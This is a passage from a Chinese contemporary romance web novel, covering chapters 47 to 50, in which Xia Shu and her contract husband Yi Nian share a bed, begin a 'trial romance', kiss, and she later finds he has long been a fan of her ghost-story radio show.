有了刚刚自己幻视的经历在前,夏树把水开的很小很小,生怕外面听见里面的声音,所以洗澡的时间的就拉的挺长。 洗完澡,如释重负地关上水阀,擦拭着身上的水气,她?又犯了难。 ——待会儿,要不要穿胸衣? 如果不穿,被易年看见不平整的衣服,那也?太尴尬了。 如果穿……那也?不行,穿着胸衣睡觉,对?女人来说简直就是上刑。 还在犹豫着胸衣该何去何从,浴室门突然响起几下急促的叩击声:“你还好吗?听得见我说话吗?” 夏树被吓了一跳,立马上前检查浴室是否反锁,查看无异后才应声:“干嘛?” “半天没听见动静,我以为你在里面出什么事?了!” 没来得及多犹豫,夏树还是把胸衣穿上,出了浴室,大不了等易年睡着了再脱。 易年就站在门口,眉心微皱,夏树刻意避开他的视线,一溜烟钻到床上,将被子?拉过肩:“女生,洗澡都慢!” 易年关了浴室灯,慢条斯理地走过来,轻轻掀开一角:“我还以为你害羞,不敢出来了。” “我——我害什么羞,又不是没睡过,而且都这么大人了,我们手也?拉了,亲也?亲了,还是夫妻呢,睡一起也?没什么。” 夏树承认,她?此时此刻的嘴硬,是为了掩饰自己的无措和慌乱。 说完,她?还将坚定无比的目光投向易年,以证自己是多么“坦然”。 “你这么说……那我可就……” 易年上了床,抬手按熄床头的灯,房间里只有屋外透进来的一线月光。 被子?摩挲的声音越来越近,夏树肩上的被子?被另一股力?量牵动。 第47章 肩上的被子渐渐被扯开,夏树呼吸错乱,双手微微颤栗着,使劲把被子拽回来,又将自己的枕头挪到床的边缘。 易年在床上侧身?躺下来,单手撑着脑袋。 “干什么,不让我盖被子?” “你、你把话说清楚,你刚刚说那?你可就要干嘛!”夏树声音发虚,不问清楚实在不安心。 说完这话,易年在黑暗中轻笑出声。 看不见他的神色,但夏树感觉到他的目光很热,那?股热浪染得她整个人都在发烫。 半晌,易年终于开口。 “你刚刚不是说,又不是没睡过,还说我们睡一起?不算什么。” “你那?架势,感觉今晚就要吃了我似的,那?我不就得多拉点被子过来,保护好我自己了!” “!!!!” 什,么?! 易年重新调整了睡姿,将双手枕在脑后,贱嗖嗖地补充:“名份都还没有,我可不想献身?。” “……易年,你有毒吧!”说完,夏树气呼呼侧过身?去?,背对?着他。 易年却意?犹未尽地“嗯”了一声,散漫出声:“好久没听见你骂我,还挺,亲切。” 夏树:“……” 她有时候真搞不懂易年的脑回路,同居这段时间两人融洽许多,没有心思跟他拌嘴,不骂他,他还不习惯了?! 她微侧过头,“这么变态的要求啊,想找骂,那?我倒是可以满足你。” “……” “谢谢,这倒不必了。” 房间安静下来一瞬。 夏树很想马上就睡着,但是晚上和李研玲一起?喝了很多茶,现在根本不困,况且胸衣勒着不舒服,她想等?易年睡着了再脱下来。 床的另一侧半天没有动静,夏树不确定易年是不是睡着了,便压低音量说了句“好热啊”,想试试他有没有反应。 “空调温度不能再低了,要不然容易生病。”易年说。 夏树有些失望:“你怎么还没睡着!” “你不也没睡吗。” 夏树命令的口气:“你赶紧睡着行不行!” “不会吧!”易年很欠地抬高音调,“这么想让我睡着,老实交代,你想对?我做什么?” 呵,无了个大语! “我就想趁你睡着,然后把你全身?便宜占完,满意?了吧!” “不满意?!”易年轻飘飘地说,“如果只是单纯看看摸摸的话,你完全可以在我醒着的时候来占,不必这么麻烦。” 说着,他按亮手机屏幕,借着光扯开睡衣的第一颗扣子,恢复侧身?单手撑脑袋的动作,“来,姐姐请!” 手机屏幕很快熄灭,易年又将它按亮。 他的手搭在第二颗扣子上,看上去?还想继续解,夏树吓得坐了起?来:“不是,你还来劲了。” 易年嘴角憋笑:“那?我不是在追你吗,追人不得拿出最大的诚意?,在我能力范围内,尽量满足你的要求。” 说话间,他的第二颗纽扣被解开,衣服布料下滑,他的一边锁骨和半边胸膛一览无余。 夏树无措了一瞬,抓起?手机打开摄像:“好啊,你有本事继续,我就把你录下来!” “有事没事就翻开看看!” 易年显然没有被唬住,他把手放在第三颗扣子上:“录了干嘛,多麻烦,想看直接跟我说,我随时随地都可以满足你!” 他的手机屏幕再次熄灭,夏树吞咽了口唾液。 要比脸皮厚,她真比不过易年。 自知?这招没用,夏树怕把自己搭进去?,也不敢再跟激他。 她重新钻进被子,紧紧捏着被子边缘:“易年你再敢按亮你的手机屏幕,就滚到地上睡去?。” 眼看夏树对?他故意?挑衅的忍耐已经接近临界点,易年终于消停下来。 他摸黑把两颗扣子系好:“姐姐可真狠心,真难追。” 被易年这样一折腾,夏树感觉全身?的细胞几乎都要炸开了,血脉偾张,胸衣越发紧绷。 她管不了那?么多了,直接轻手轻脚脱下胸衣,将它塞到了枕头下面。 呼吸顺畅许多,心脏也慢慢恢复平静,但是身?边躺着一个男人,她还是很难从?容入睡。 几分钟后,易年扯了扯被子:“喂!” 夏树:“已睡,勿cue。” “问你个正事。” 夏树没应声。 易年:“这些年,是有人追你,但你都没交过男朋友吧!” 夏树敷衍地答道:“废话!” “那?你不接受别人的原因是什么呢?是排斥谈恋爱,还是排斥那?些追你的人?” 其实易年的这个问题,夏树自己并不清楚,也从?没想过。 对?她而言,更?愿意?和身?边的男生处成哥们,就像保钦元、罗超、罗勇一样。 在汽修学?校,男生多女生少,确实有不少人向夏树示爱过。 但是那?时候,如果一个男生一开始跟她关系还不错,一旦跟她表白了,她就不愿意?再搭理人家,甚至会反感,很多次都是如此。 所以应该不是排斥人,而是排斥别人想跟她交往的这个行为和想法?。 “应该是排斥恋爱吧……”夏树眉头微蹙,“你问这个干嘛!” “如果你是排斥追你的人,那?还好办,至少目前看来你并不排斥我,说明?我有机会!如果你是排斥恋爱,那?我得想想办法?,怎么让你喜欢上恋爱的感觉。” 夏树抿着唇,嘴角不自觉上扬。 他又问:“你是不排斥我的,对?吧!” 静默片刻,她轻轻“嗯”了一声。 “那?就是后者了!想办法?让你喜欢上恋爱的感觉!” 夏树清了清嗓:“你能有什么办法??” “嗯,我想想……”易年思索着,深吸一口气,“我们从?夜市牵手走?回家的时候,你,感觉怎么样?” “什么感觉怎么样?” “就……”他语气认真起?来,像在陈述学?术报告,“我现在在追你,说实话,跟你发生一些肢体接触也好,或是半天没见你,再见到你也好,都会让我觉得很开心。” “你有这种感觉吗?” 这种感觉……好像,有。 夏树沉默着,易年继续柔声道:“夏树,从?我决定追你的时候开始,我就相信我们肯定会在一起?,只不过要看你什么时候能接受我。” “我愿意?跟你分享我的心情,分享我的生活,分享一切有趣的事,我发现,你也如此。” “抛开我跟你的合作关系,你愿意?时常见我,愿意?接纳我一些小?要求,愿意?和我一起?吃饭,也愿意?跟我产生一些肢体接触……虽然我不确定你现在对?我到底是什么想法?,但我能感受到,你对?我是有好感的。” “对?不对??” 易年分析得头头是道,而且这话,夏树没法?否认。 她同样清楚,自己对?易年确实有好感,只不过不清楚那?一份好感是来自于三年的同桌情意?,还是来自于重逢后发生的种种离奇事件。 从?他说要追她以后,除了偶尔耍嘴皮子求名分,他还从?来没有说过任何?很刻意?的甜言蜜语。 刚刚他这一番话,从?容自如地说着自己内心的真实想法?,听上去?,却比甜言蜜语或是山盟海誓更?真诚,更?能触动心底的那?根弦。 她又轻轻“嗯”了一声。 “所以即便你之?前排斥谈恋爱也没关系,我所能想到的方法?就是,在你同意?的情况下,我会对?你发出一些情侣之?间亲密举动的邀请,比如牵手,比如互相挤牙膏吹头发,再比如,接吻。” “不可否认,这个过程包含着我的私心,因为我确实想跟你那?样。如果你也享受这个过程,那?我们可以继续,如果你觉得不舒服,可以随时叫停。” “但如果某一天,你发现你自己不需要我的邀请,就愿意?跟我产生一些亲密举动,请你一定要告诉我,因为那?就证明?,你喜欢我,你想跟我交往,我们就可以正式成为男女朋友。” “至于这个过程,我就给它起?名‘试恋爱’,你觉得怎么样?” 小?说也好,电视剧也罢,夏树见过很多种表白、追人的方法?和场景,唯独没见过易年这样的。 试恋爱,听起?来,有点意?思。 夏树平静的心脏又悄无声息地起?了波澜,她轻咬着下唇,鬼使神差又“嗯”了一声,算是答应了易年这个提议。 窸窸窣窣的布料响着,易年把手放到了被子上面,说话声音越来越低:“你手给我,人也挪过来点,我们牵着手睡,好不好!” 夏树在黑暗中寻找易年的轮廓,隐约看见他温柔到了极致的表情,她的手像是不能自控,只会听易年的支配,自顾自伸出被子,向他的手靠近。 她的指尖才点了一下他的手背,手掌瞬间就被他的手包裹起?来。 “那?,我也可以挪过来点吗?”他说。 “嗯。” 易年身?体向床的中间靠拢,紧接着,夏树的枕头就被他拽了过来,跟他的枕头挨在一起?。 “我还想,隔着被子抱抱你。” “……” 易年侧着身?,两个人的距离很近。 夏树忽闪着眼睫,低声道,“易年,觉不觉得,你有点得寸进尺?牵了手,就还想抱抱,那?抱抱是不是还想亲亲,亲亲之?后,你还想干嘛?男生的经典名言,我就蹭蹭,不进去??” 易年笑出了声,另一只手宠溺的抚着夏树的后脑:“你这小?脑袋,到底在想些什么乱七八糟的东西!我保证,就抱抱!你在我旁边,我哪还敢有多余的动作!”他压低音量,带着喘息的声音,“我也不敢引火烧身?!” 夏树噘着唇,没说话。 易年原本搭在她后脑的那?一只手渐渐下移,隔着被子,放在了她的腰后。 他的臂弯很软,夏树也不排斥,就这样仍由他环着。 他在她额间轻轻落下一个吻,又将自己的额头贴过来。 “姐姐。”他的声音很轻,“亲亲!” 第48章 “姐姐,亲亲!” 易年的声音像极了委屈巴巴求宠的小狗,但是——狗男人的话果然不能信! 刚刚还只说保证就是抱抱,现在居然得寸进尺,还想亲亲! 夏树脸颊后移,与易年拉开距离。 “这位弟弟,我劝你见好就收!” “那你不是答应我了,试恋爱,可以尝试着做一些情侣之间的举动,来替你找找恋爱的感觉。” 易年语调严肃,说得词正理?直。 狗男人,还真?是牙尖嘴利。 夏树推开他搭在自?己腰上的手,手指戳在他脑门?上:“到?底是为了替我找感觉,还是为了满足你自?己小心思,你真?当我傻白甜,不知道?” 他的手掌覆盖着夏树的手指,缓慢向下拉:“白和甜,我是承认的,傻,没?有!” “而且之前我们又不是没?亲过?,所以再亲一次也不算是越界!” “嘶,你这张嘴挺厉害啊,还这么会颠倒黑白,我之前真?没?看出来,你居然是一杯极品冰岛古树浓茶!” 易年双手分别握着夏树的两只手,在被子上面摇晃着,声音奶里奶气:“你就说吧,你想不想亲。” “我才不——” 抵死?拒绝的话到?了嘴边,夏树突然冒出个“鬼”点子。 她抿唇闷笑几声,用很做作的口?气说:“我也想啊,但是这么多人看着,多不好意思!” 易年停下手上摇晃的动作:“哪来的人?” “喏,床边围着五六个,屋顶飘了两个,男女老少都有,当这么多人的面,怎么亲啊!而且你肩膀上还趴着一个小男孩,可别把小朋友吓到?了!” 空气静止几秒,甚至连呼吸声都听不到?。 夏树暗自?窃喜,总算是拿捏住这个狗男人了。 可她高兴不过?一瞬,易年就掀开被子,将她的手拉平,猝不及防地将脖颈枕在她的肩窝,身体也向她靠近。 他的发丝轻轻戳着她的脸颊,洗发水的味道随之灌进她的鼻腔。 “我肩上的小朋友吓没?吓到?我不清楚,反正我是被吓到?了,你得负责!” 夏树想将被压着的手抽出来,却无济于事?,质问道:“你怎么这么赖皮,没?我允许,谁准你钻我怀里了!?” 易年挑衅地转了转脑袋:“之前我发烧只会叫我喝热水,我说你渣你还不承认,看吧,现在自?己把自?己锤了!” 怕真?空的胸膛挨在对方的身上,夏树不敢继续动弹,吞咽了一口?唾液,问道:“你又在说什么!我怎么渣了!” “你有没?有听说过?,”易年语调拖长,“有些情侣约会,看电影,男生故意挑鬼片,就是为了让女生害怕,往他怀里钻!你刚刚说那些吓我,不就想达到?这个效果吗!” 夏树一噎,竟然无言以对。 易年又补充道,“我被吓到?了,如你愿靠过?来了,你现在满意了吧!” “……” 满意你个大头鬼! “还有!” 还没?等?夏树想好怎么回击,易年的手就抚上了夏树的脸颊。 他整个人都向上挪了点,直到?头与夏树齐平。 片刻后,男人声音轻柔,“你刚刚是已经?答应了,对吧!你自?己说的,你也想。” “想、什么?” “亲。” 他的呼吸低沉,温热的唇瓣精准覆盖上了她的唇。 开始是克制的,随着一下又一下的游移,侵略性一览无遗,夏树脸颊上的手掌逐渐移到?她的脑后,死?死?扣住她的脖颈。 突如其来的吻让夏树措手不及,她都能听见自?己的心跳。 很快,她唇瓣就已湿润,感受着男人呼在他脸上的灼热气息,身体僵住,双唇却不自?觉微微分开。 男人找准时机,撬开她的牙关深入她的口?腔,像一只饿极了的猎犬。 他的舌尖柔软,澎湃却有些生涩,探索般细细扫过?她的齿列,强势地缠绕着她无处躲藏的舌头。 空气中,两个不同频率的呼吸声急促地纠缠在一起。 他的手下移到?她的腰间,又更用力了些,似乎要将女人揉进他的身体里。 不知不觉地,触电般酥麻的感觉就从夏树的口?腔遍布于全身。 不知过?了多久,易年的双唇突然抽离,脑袋埋进了夏树的颈窝。 “不行……”他的声音带着喘息。 夏树的身体很烫,轻轻呼了口?气,竭力调整着自?己的呼吸,没?说话。 紧接着,易年利索地离开被窝:“你先睡,不用等?我。” 光影中隐约看见他垂着头,站在床边。 夏树小心翼翼问:“你,要干嘛?” “起立了,去处理?一下。”- 易年进了浴室,在里面待了很长时间。 夏树曲着指节,碰了下自?己的嘴唇,上面似乎还有易年的温度,整个人像是喝过?一场酒,晕晕乎乎的。 仔细回想,刚刚的那几分钟,灵魂像是被从头顶提起来,身体某处由膨胀再到?收缩,是一种前所未有过?的感觉。 像是梦境一般,总之,很奇妙。 或许是经?历过?一场身体与思想的爆炸性冲击,还没?等?他从浴室出来,夏树就睡着了,而且睡得很踏实。 翌日,眼睛睁开,易年的脸就出现在她的眼前,他还没?醒。 昨夜的触感还历历在目,她不太敢直视他的嘴唇,只是轻轻掀开被子一角,从床头柜摸来手机,居然快十点了。 平时她习惯了早起,不会上闹钟,可这是在易年父母家,而且头一天李妍玲还说过?拍全家福约的就是十点,这居然能睡过?头。 都怪易年,昨晚非得折磨她! 夏树一心想着赶紧起床洗漱,手伸到?枕头下面找胸衣,摸了半天却没?摸到?,她便?轻手轻脚坐起来,把枕头拿开,枕头下面居然没?有! 她又探到?床沿往地上看,地上也没?有。 “你在找这个?”低沉微哑的嗓音突然在夏树身后响起。 她回头,易年正自?然地捏着她的白色胸衣,就那样水灵灵地扬在半空。 一瞬间,夏树脸颊变热,她下意识用枕头遮住胸前,喊道:“易年,你是变态吧!还我!” 易年将胸衣缓慢递到?夏树身侧,语气轻佻散漫:“你才变态呢!要拿着睡你就好好拿着,别往人家脸上呼!好好睡着,突然喘不上气,我一睁眼,两眼一黑,它,莫名其妙出现在我脸上!而你的手,死?死?勒着我的脖子,差点把我勒死?!” “怎、怎么可能,你少给?我添油加醋!” 第49章 易年?先去?了浴室,夏树在后穿好胸衣等他出?来才进浴室。 洗漱台上,摆放着易年?为她挤好牙膏的牙刷。 刷牙的时候,夏树总是忍不住回想头天晚上大胆的“试验”,她发现自己不但不能直视易年?的唇,此刻连她自己的唇瓣,她也不敢多看?。 很奇怪,接吻的时候是在黑暗中,眼前什么也看?不清,但在她的记忆里,似乎却能精确地定位到易年?沉浸且享受的表情。 洗漱完换好衣服出?了浴室,易年?坐在床尾,双手撑在身后。 “过来。”他说。 夏树鬼使神差朝他靠近,瞥了眼墙上的挂钟,刚好十点。 “还坐这儿干嘛,赶紧下去?啊,你?爸妈肯定已经在等着了!” 话音刚落,她就被易年?拽住手腕,整个人坐到了他腿上。 “你?好香。”他的声音很轻,眼睛里尽是欲味。 夏树的腰被他紧紧环住,身下的异物感逐渐强烈。 她往他膝盖挪了点,避开一些部位的接触,只与他对视一秒就将视线挪开:“大早上的,你?发什么情!” “还有,这是你?家沐浴露的味道,喜欢就闻你?自己身上的。” “你?真会?破坏气氛!”易年?瞥了瞥嘴角,“我说的是你?嘴巴里的味道!我们的牙膏不一样,我的是薄荷味,我给你?挤的是什么来着?” 说着,他就伸手扣住夏树的后脖颈,挺直背脊,鼻尖缓慢靠近夏树的嘴唇。 夏树下意识后缩,却又被他按了回来。 他仰着头,没有亲她,只是将鼻尖抵在她的鼻尖,浅嗅。 “好像是,茉莉龙井,真的很香。”说完,他将脑袋埋进夏树的肩窝。 夏树用手掌掩面?呼了口气,什么味道也闻不见。 易年?嘴唇靠近她的耳畔,轻声道:“你?看?,我们现在跟真夫妻真情侣好像没有什么区别,就只差你?点头同意!要不,你?就直接答应我算了!” 气息不偏不倚地传递到夏树的脸上,有些痒,她耸起肩膀蹭了蹭脸:“男人的嘴果?然不可信,昨晚还说着试恋爱帮我找感觉找状态,过了一夜,直接想一步登天?” “你?,想的美!” 她在他腰间掐了一下,“你?还下不下去?!” “我尝尝就下去?。” “尝什么?” “你?嘴里的,茉莉龙井。” “……”夏树顿了两秒,随后憋笑瞥他,“那?我直接去?拿牙膏来挤你?嘴里,你?慢慢吃?”- 下了楼,易年?父母和来拍全?家福的工作人员已经等在客厅。 起得迟,夏树有些难为情,她讪讪唤了声“爸、妈”,李研玲看?上去?并?不在意两人这个时候才下来,只叫他们快点去?吃早餐。 李研玲跟来厨房,盛了两碗汤亲自端来:“来,年?年?小树,鲍鱼仔花菇玉竹汤,滋阴补阳,我特意让阿姨给你?两煲的。” 滋阴,补阳…… 夏树与易年?对视一眼,道了声谢后端起汤喝了起来。 “谢谢老妈,我不用补了。”易年?说。 李研玲:“别觉得你?还年?轻就不用补,你?们这个年?纪,纵欲过度是常有的事,该补还是要补!你?妈我是过来人,什么都懂,你?别不好意思!” “!!!我的神仙老妈,你?能不能收着点!” 夏树差点被汤呛咳,她停下汤匙偷瞥易年?,他的耳廓憋的发红。 “小树,我还分装了好多煲汤的食材,都是滋补的方子?,待会?儿你?们走的时候带着回去?,让阿姨时不时煲给你?们喝!” 夏树的脸颊也有些发烫,为了不辜负长辈的好意,轻掀眼帘“嗯”着点了点头。 拍照前,夏树需要做简单的造型,化妆师在书房支起了临时的化妆台,给她打着底妆,不由感叹:“太太气色真好,肤质好,肤色更好,遮瑕都不需要上,我们今天这活儿可太轻松了!” 夏树笑笑:“小姐姐你?可真会?说话!” 身后传来李研玲的声音:“新婚小媳妇儿气色肯定好呀!” 夏树通过镜子?喊了声妈,李研玲走过来坐在一旁,“我儿媳妇可真好看?。” 随后便切入主题,“小树,祖母擅自作主给你?们选了订婚的时间,你?的父母没意见吧?之前知道你?俩领证,按理说应该两家人坐一起吃饭,可那?时候我们在外面?旅游实在没法办法,也没跟亲家打过招呼,我刚刚听年?年?说,你?父母很忙,甚至连订婚都来不了,是吗?” 关于这个问题,夏树先前跟易年?商量过,也统一了口径,她按照商量好的说:“对妈,我家里搞养殖,根本离不开人,关于订婚他们倒是没什么想法,就说依着男方来就好了,到时候让我干爹干妈替他们出?席就行。” 镜中的李研玲眉间浮过浅浅犹疑,又很快散去?:“行吧,那?你?看?看?什么时候方便,跟他们约个时间,我们一起去?拜访你?父母,把彩礼交到他们手上,风俗可不能破。” 临时拜访,夏树和易年还没商量过如何应对,她只好囫囵地答应下来。 拍完全?家福,夏树和易年直接去了蓝韵酒庄,才一上车,夏树就问:“我父母的事,刚刚你怎么说的,没露馅儿吧!” “应该没有,我就照我们商量好的说。” “但我感觉有那么一个瞬间,你?妈不太相信!” 易年?微微侧头,语调轻缓:“别多想,结婚这么大的事,长辈肯定会?有自己的顾虑,很正常的。” 夏树叹了口气:“好在干爹干妈,也就是雨唯父母,他们知道我家的事,愿意帮我,不然还真不知道怎么圆。” 易年?指尖轻轻摩挲着方向盘,片刻后,问道:“之前你?提过一次家里人,只说跟他们没有往来,那?我现在可以问问,是因为什么吗?” “如?果?你?不想说也可以不说。” 夏树嘴角挂着无谓的笑:“也没什么,大概就是我的父母一辈子?生活在那?个地方,目光浅薄吧,总喜欢用他们保守甚至落后的想法套在我身上。” 或许是最近经历了太多不可思议的事,现在再提起父母,夏树心?里很平静,没有了之前残存的怨气。 易年?探究的目光时不时停在她身上。 “你?好好开车,我慢慢说。” 车子?开到酒庄差不多半个小时,夏树自然流畅地将高中毕业以后,桩桩件件家里的琐事讲完。 但好像最重?要的也就那?么几件。 奔着高薪和极低的学?费,父母不让她上大学?,只让她学?汽修,后来又逼着她嫁给屠宰场主家的智商障碍儿子?,再到后来她离家出?走,攒钱还给父母。 之前一直沉浸在对父母的怨气之中,觉得他们毁了自己,觉得他们要把自己往火坑里推,但是现在一些身份发生变化以后,她发觉这些事好像也就那?样。 如?果?汽修厂现在还开着,那?在还完了借款后,她赚的每一分钱都可以安心?装进自己口袋,那?是也是走上了正轨。虽然现在厂子?没了,但是房东赔的那?一笔违约金,她和徒弟三人每人都分到了一笔小钱。 托易年?的福,跟他家的酒庄合作洗车,活计日益增多,算下来收入也很可观,如?果?一直合作下去?,她的钱包会?越来越鼓。 要是从?收入这个角度来看?,父母也没毁了她。 再说到火坑一般的低智婚姻,她也没往里跳,况且,虽是合作,但现在跟她有婚姻关系的是易年?。 这段时间以来,每一天都很充实,好像也很幸福。 这样一想,可能是幸福者退让原则,才让她不那?么纠结过往,不那?么在意父母曾经对她的行为,只向前看?。 车子?缓缓在停车场停下,易年?解了安全?带,上身向夏树靠近。 刚刚他在开车,而她沉浸地诉说,并?为注意到对方的表情。此刻夏树才发现他的眼里尽是慌乱与关切。 他的眼睫下垂,喉结轻滚,声音也显得哑:“我那?时候要是没放你?走,多好。我这几年?要是早点回来,多好。我要是能更早就开始追你?,多好。” 说着,他将青筋凸起的手掌抚上了她的脸颊。 夏树能感觉到,要是有些惨惨的细节说出?来,易年?马上就要碎掉了。 可是…… “抱歉抱歉,我很感激你?的共情,不过我得打断一下!首先,我没觉得自己很惨,因为我现在过得很好!其次,你?刚刚那?个排比句,”她脸上有些嫌弃,“真的很酸,很矫情,很做作!咱,别来那?个,正常点,成不?” 易年?:“……” 气氛破坏王说的就是你?夏姐! 易年?眼中的慌乱逐渐消散,凝眉觑她:“我眼泪马上就要掉出?来了,你?给我来个急刹全?搞没了!”他故作不满地瘪瘪嘴,“我还说梨花带雨,来骗个亲亲抱抱什么的,你?也太不给面?子?了!” 夏树嘬着嘴,双臂叉在怀里,歪头看?他:“我真奇了怪了,为什么你?追人的方式这么直白无脑?!电影里演的都是,情到深处,男女主就自然而然地那?个那?个,你?这还有算计着什么时候来,我也是很佩服!” “你?懂什么,别人不熟才那?样,干什么都憋着,不然就磨磨蹭蹭……我俩三年?同桌白当的?都这么熟了,况且我都决定追你?了,那?不得直白点,你?在这些方面?这么迟钝,这么呆,我不说出?来,你?能知道我想干嘛?” “我怎么不知道!”夏树扬着下巴,气定神闲道,“昨晚你?才说要隔着被子?抱抱,我就说你?得寸进尺还会?想亲亲,事实证明,我猜的没错啊,你?后来不也,亲了。” “那?你?……”易年?的头凑的更近了,“猜到我现在想干什么了吗?” 夏树伸出?食指抵着易年?的脑门,把他往后推:“我猜,你?现在想吃我一记闷拳!”- 回到洗车间,夏树查看?了过去?一天的洗车记录以及顾客反馈,一切井井有条,有保钦元和罗超罗勇在,她倒是不需要多余操心?。 她把何铭发给她的资金申请表填写好,给何铭打了电话想找他签字,他说他不在酒庄,让她直接去?易总签字。 夏树有点不情愿。 刚刚在停车场,下车前易年?明确说他要一个亲亲,可她却捏着他的嘴唇,让他别影响她赚钱,然后开门下车扬长而去?。 要是现在去?找他,以他这几天贱嗖嗖的模样,难说会?公报私仇,还可能……让她做点什么事来交换,比如?亲亲啦,抱抱啦! 在原地纠结了几分钟,她又给何铭打了电话问他什么时候回来,可何铭说他在临市出?差,要后天才能回,无奈之下,她只好拿着申请表就去?了行政大楼。 在行政大楼楼下,正巧碰到午休结束准备回工位上的财务张姐。 夏树赶忙微笑上前打招呼:“张姐下午好。” 张姐礼貌颔首回应,夏树顺势把资金申请表递到她面?前:“张姐,您看?一下,我这资金申请表格式对不对,要是没问题的话我去?找易总签了字就拿来给您。” 张姐扶了扶眼镜:“嗯,没问题,这样就可以了。” 两人一同走到电梯厅,在电梯缓慢下行中,易年?和另外两个身着西装的中年?男人也朝电梯走了过来,张?*姐忙喊了易总、赵总、陈总,夏树也跟着喊了一遍。 易年?一改先前不正经的模样,眼睛轻飘飘略过夏树:“夏经理,不是说忙着赚钱吗?怎么跑这里来了。” 果?然,被夏树猜中了,他确实会?公报私仇。 夏树没理会?这个问题,直接递上申请表,从?口袋里摸出?一只笔,假模假式地笑道:“易总,我们洗车部需要申请一笔资金,麻烦您看?一下,签个字。” 电梯门正好打开,被称作赵总的人上前一步,用手遮挡着电梯门,等着易年?进去?。 而易年?接过申请表随便瞟了一眼,又塞回夏树手上。 易年?面?不改色:“拿到我办公室,我仔细看?看?。” 夏树眉头蹙着,迅速地瘪了下嘴:“没几个字吧!而且张姐已经看?过了,她说没问题,麻烦易总直接签字就行!” 易年?大步流星走进电梯,就像刚刚在停车场夏树潇洒地离开一样:“所以,是我说的话不算数?” 易年?平时在工作中不苟言笑,旁观的几人噤若寒蝉,以为他马上要发飙,夏树拧着眉眼,微嘟着唇,仰头瞪他。 他却挑衅似的扬了下眉。 张姐从?身后轻轻把夏树往电梯里推,小声道:“夏经理,去?吧,你?才刚来不知道,易总对待工作很严谨。” “……” 所有人进了电梯,各自按下要去?的楼层,易年?的办公室在顶楼,夏树正式入驻蓝韵的时候来过一次。 当电梯里只剩下两个人的时候,夏树也不装了,她气鼓鼓地瞥他:“狗男人,你?到底想干嘛,就写两个字,要难死你?啊!” 易年?仍旧不露声色:“夏经理,请注意你?对我的称呼,以及你?这不太友善的态度!工作时间,哦不对,是赚钱时间,请不要夹带私人感情!” 呵呵,还说她夹带私人感情??到底谁夹带私人感情了!! 狗男人颠倒黑白真有一套! 夏树没说话,毫不掩饰地白了他一眼。 电梯门打开,她跟在易年?身后去?到他的办公室,她几步走上前,将A4纸拍在办公桌上,回头道:“易总,您可得睁大你?这双24k纯金狗眼好好看?看?,这份资金申请表到底有没有问题!” 易年?关上办公室门,按下电镀玻璃开关,恢复了她熟悉的模样。 他走到她身前,举着她的腰,轻松地将她放到桌面?上。 夏树被这突如?其来的动作吓了一跳,心?脏逐渐紊乱。 她吞咽了一口唾液,凝眉觑他:“易总,请您自重?,别忘了你?叫我来这里是干什么的! 第50章 夏树之?前闲暇时打发时间做过一个周雨唯发给她的小?测试,测试的结果说她是?百分百的直女?。 她有点理解那些直男为什么都抵挡不?住爱撒娇的小?女?人,因为她此?刻也完全受不?了撒娇中的易年。 嘴角抑制不?住地上翘,但是?理性告诉她,她是?来找他签字的! 任由易年抱了几秒,夏树清了清嗓,仰头看他,嘴巴故意撅着,摇头晃脑,用阴阳怪气的语气重复了他撒娇的话:“姐姐,别生气了,好不?好!” 易年以?为夏树根本?不?吃这一套,以?为自?己又在她这吃了瘪,气呼呼地挤了挤眉。 眼看拿捏住了易年,夏树暗自?窃喜,顺势从他怀里分开?:“我还不?知道蓝韵酒庄居然这么人性化,还可以?在办公室养狗呢!” 反应过来夏树话外的意思,易年拉起夏树的手,在她手臂轻轻咬了一口:“狗急了也会咬人!” 他咬的很轻,夏树并不?觉得疼,她嫌弃在他西服肩上蹭了蹭残留的唾液:“对我一套一套的,你去跟别人说你之?前没谈过,看看有几个人会信!” 易年扯松了领带,双手反叉着腰,傲慢地偏着头:“是?座冰川都能被捂化了吧,怎么就?你这个颗树,捂都捂不?热!” “抱歉哦,木材导热性不?太好呢!” “那金子导热性好吧,金鑫鑫有五个‘金’了,怎么也没见她被捂热!” “你还记得?”夏树有些诧异,“金、鑫、鑫。” 易年挑眉:“废话!” 金鑫鑫是?夏树从小?就?背着父母自?己给自?己起的名字,她记得自?己高中时开?玩笑似的跟易年提过一两次…… “嘶,好像不?对!” 一些零碎的画面突然拼凑在一起,夏树回想起之?前在夜市广场遇到的那个卖唱歌手,易年的朋友,许珩。 “上次见你那个朋友,许珩,他提到过我是?金鑫鑫!” 易年:“然后?” “那天……”夏树试探道,“我跟许珩说的话,你不?觉得奇怪?” 遇到许珩那天,后来跟易年牵着手回家,分散了大部分注意力,就?并未留意谈话内容,到了此?刻,她才记起,那天和许珩说起了“感同声受”音乐电台,说起了她是?讲鬼故事的DJ金鑫鑫。 对于她和许珩聊天的内容,当时易年的反应再正?常不?过,没有疑惑,没有好奇,事后也没有问过她关于电台的事。 易年不?知夏树的关注点,凝思几瞬,顺手拉来转椅,坐到夏树对面:“哪里奇怪了?” 这时,夏树想到了自?己电台的一个铁粉,对上那位铁粉的IP定位,一个大胆的猜测在她心?头攀升。 思及此?,她心?跳有些失控,脸部肌肉发紧,片刻后,她从易年的办公桌上站了起来,轻扇眼睫,期期艾艾道:“我想,看看,你的手机。” 易年微怔,边从兜里摸着手机,边故作鄙夷道:“我手机比我脸还干净,有什么好看的!” 嘴上不?愿意,他还是?老老实实把手机解锁后递给夏树,“喏,你可得好好检查一下,除了你,我到底还有没有其他女?人!”- “感同声受”app的图标是?橙色的底色,中间有一个白色艺术字体的“声”字。 而此?刻,那个“声”字就?在易年手机应用首页,最显眼的位置。 夏树很清楚即便征得同意,看别人的手机也是?一件不?好的事,但她无法停止想一探究竟的念头,她想知道易年到底是?不?是?她想的那个人。 她所怀疑的那个铁粉陪了她很多年,对她来讲是?一个特别的存在。 在此?之?前,她觉得这样一个陌生人,通过她的鬼故事与她产生交集,成为她的粉丝,是?一件特别奇妙的事,他与那些时常与她互怼的粉丝不?同,永远话都不?多,但几乎能在她发表后第一时间留下评论。 在点开?app之?前,她心?中思绪揉杂,有期待,也有不?安。 一股超越理智的力量驱使着她的指尖点开?“感同声受”app。 看到左上角的用户昵称,她的手心?发烫,快要?拿不?稳手机,视线也瞬间变得模糊—— Earth,真的是?他。 如?此?说来,在过去的日子里,夏树单方面以?为她和易年没有交集,但其实在无数个日日夜夜里,他都听到了她的声音。 对易年来说,或许他和她的交集从未间断过。 但是?,她实在想不?明?白,为什么会是?他呢,他明?明?很怕鬼啊,怎么会来听她讲鬼故事呢! 